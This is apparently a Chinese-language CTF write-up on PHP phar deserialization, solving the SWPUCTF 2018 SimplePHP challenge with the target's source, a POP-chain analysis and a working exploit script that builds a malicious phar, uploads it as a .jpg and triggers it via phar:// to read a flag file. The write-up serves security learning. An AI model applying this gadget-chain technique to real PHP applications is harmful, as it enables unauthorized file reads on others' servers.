反序列化部分在mmmdata部分
跟着网上师傅们做一个测试,先将对应的文件配置设置好:
此处配置配置时要注意,删除前面的“;”,将readonly部分改为Off,并重新启动
- class TestObject {
- }
- $phar = new Phar("test.phar"); //后缀名必须为phar
- $phar->startBuffering();
- $phar->setStub(""); //设置stub
- $o = new TestObject();
- $o -> data='commit';
- $phar->setMetadata($o); //将自定义的meta-data存入manifest
- $phar->addFromString("test.txt", "test"); //添加要压缩的文件
- //签名自动计算
- $phar->stopBuffering();
- echo "执行完毕";
- ?>
访问完该文件后就能在当前文件夹下找到test.phar
我们将该文件丢入010中观察发现中间有一段部分时已经反序列化后的结果
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
观察这几个函数发现,其实和文件上传的源码的函数有关联,所以可能有些时候在文件上传无思路的时候可以尝试一下是不是反序列化
SWPUCTF 2018]SimplePHP
看到提示直接访问,果然没那么容易回显为hacker,根据经验查一下file.php文件里的内容
-
- header("content-type:text/html;charset=utf-8");
- include 'function.php';
- include 'class.php';
- ini_set('open_basedir','/var/www/html/');
- $file = $_GET["file"] ? $_GET['file'] : "";
- if(empty($file)) {
- echo "
There is no file to show!"
; - }
- $show = new Show();
- if(file_exists($file)) {
- $show->source = $file;
- $show->_show();
- } else if (!empty($file)){
- die('file doesn\'t exists.');
- }
- ?>
这里看到可以看到通过show()方法显示出文件的源码那就继续把源码都查出来
function.php
- 222.90.67.205
-
- //show_source(__FILE__);
- include "base.php";
- header("Content-type: text/html;charset=utf-8");
- error_reporting(0);
- function upload_file_do() {
- global $_FILES;
- $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
- //mkdir("upload",0777);
- if(file_exists("upload/" . $filename)) {
- unlink($filename);
- }
- move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
- echo '';
- }
- function upload_file() {
- global $_FILES;
- if(upload_file_check()) {
- upload_file_do();
- }
- }
- function upload_file_check() {
- global $_FILES;
- $allowed_types = array("gif","jpeg","jpg","png");
- $temp = explode(".",$_FILES["file"]["name"]);
- $extension = end($temp);
- if(empty($extension)) {
- //echo "
请选择上传的文件:" . "";
- }
- else{
- if(in_array($extension,$allowed_types)) {
- return true;
- }
- else {
- echo '';
- return false;
- }
- }
- }
- ?>
通过function.php可以看到仅允许"gif","jpeg","jpg","png"四种后缀文件
class.php==>我们看到里面有许多反序列化方法
-
- class C1e4r
- {
- public $test;
- public $str;
- public function __construct($name)
- {
- $this->str = $name;
- }
- public function __destruct()
- {
- $this->test = $this->str;
- echo $this->test;
- }
- }
-
- class Show
- {
- public $source;
- public $str;
- public function __construct($file)
- {
- $this->source = $file; //$this->source = phar://phar.jpg
- echo $this->source;
- }
- public function __toString()
- {
- $content = $this->str['str']->source;
- return $content;
- }
- public function __set($key,$value)
- {
- $this->$key = $value;
- }
- public function _show()
- {
- if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
- die('hacker!');
- } else {
- highlight_file($this->source);
- }
-
- }
- public function __wakeup()
- {
- if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
- echo "hacker~";
- $this->source = "index.php";
- }
- }
- }
- class Test
- {
- public $file;
- public $params;
- public function __construct()
- {
- $this->params = array();
- }
- public function __get($key)
- {
- return $this->get($key);
- }
- public function get($key)
- {
- if(isset($this->params[$key])) {
- $value = $this->params[$key];
- } else {
- $value = "index.php";
- }
- return $this->file_get($value);
- }
- public function file_get($value)
- {
- $text = base64_encode(file_get_contents($value));
- return $text;
- }
- }
- ?>
base.php
-
- session_start();
- ?>
-
-
-
- "utf-8">
-
web3 - "stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
-
-
-
-
-
- <div class="container-fluid">
- <div class="navbar-header">
- <a class="navbar-brand" href="index.php">首页a>
- div>
- <ul class="nav navbar-nav navbra-toggle">
- <li class="active"><a href="file.php?file=">查看文件a>li>
- <li><a href="upload_file.php">上传文件a>li>
- ul>
- <ul class="nav navbar-nav navbar-right">
- <li><a href="index.php"><span class="glyphicon glyphicon-user">span>php echo $_SERVER['REMOTE_ADDR'];?>a>li>
- ul>
- div>
- nav>
- body>
- html>
看到源码反序列化嘛,所以对class.php进行阅读,思路如下:
- class C1e4r
- {
- public $test;
- public $str;
- public function __construct($name)
- {
- $this->str = $name;
- }
- public function __destruct()
- {
- $this->test = $this->str;
- echo $this->test;//输出字符串,调用__toString()方法
- }
- }
-
- class Show
- {
- public $source;
- public $str;
- public function __construct($file)
- {
- $this->source = $file; //$this->source = phar://phar.jpg
- echo $this->source;
- }
- public function __toString()//利用C1e4r类中$this->test需要输出字符串来调用
- {
- $content = $this->str['str']->source;
- return $content;
- }
- public function __set($key,$value)
- {
- $this->$key = $value;
- }
- public function _show()
- {
- if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
- die('hacker!');
- } else {
- highlight_file($this->source);
- }
-
- }
- public function __wakeup()
- {
- if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
- echo "hacker~";
- $this->source = "index.php";
- }
- }
- }
- class Test
- {
- public $file;
- public $params;
- public function __construct()
- {
- $this->params = array();
- }
- public function __get($key)//读取不可访问或不存在属性时被调用--》Show中的__toString()方法实现
- {
- return $this->get($key);
- }
- public function get($key)
- {
- if(isset($this->params[$key])) {
- $value = $this->params[$key];//--》调用get方法需要调用__get()魔术方法
- } else {
- $value = "index.php";
- }
- return $this->file_get($value);
- }
- public function file_get($value)
- {
- $text = base64_encode(file_get_contents($value));//可以利用此处读取flag值,需要将变量赋值进行更改-->get方法
- return $text;
- }
- }
- ?>
1、可以利file_get_contents($value)处读取flag值,需要将变量赋值进行更改-->get方法
2、调用get方法需要调用__get()魔术方法
3、读取不可访问或不存在属性时被调用--》Show中的__toString()方法实现
4、利用C1e4r类中$this->test需要输出字符串来调用Show中的__toString()方法
exp:
- class C1e4r
- {
- public $test;
- public $str;
- }
-
- class Show
- {
- public $source;
- public $str;
- }
- class Test
- {
- public $file;
- public $params;
- public function get($key)
- {
- if(isset($this->params[$key])) {
- $value = $this->params[$key];//--》调用get方法需要调用__get()魔术方法
- } else {
- $value = "index.php";
- }
- return $this->file_get($value);
- }
- }
-
- $C1e4r = new C1e4r();
- $Show = new Show();
- $Test = new Test();
-
- $C1e4r->str = $Show;
- $Show->str['str'] = $Test;
- $Test->params['source'] = "/var/www/html/f1ag.php";
-
- $phar = new Phar("exp.phar"); //.phar文件
- $phar->startBuffering();
- $phar->setStub(''); //固定的结尾
- $phar->setMetadata($C1e4r); //触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
- $phar->addFromString("test.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
- $phar->stopBuffering();
- ?>
运行结束后在文件中产生了对应的phar文件
因为题目对文件后缀进行过滤,所以 将其改为jpg后缀,并且对上传的文件进行了重名名操作所以我们不可以直接访问,但是我们可以访问upload,将底下的文件一个一个看必有一个是我们刚刚上传的
之后利用file查找(配合phar协议)
解码获得flag
学习原文链接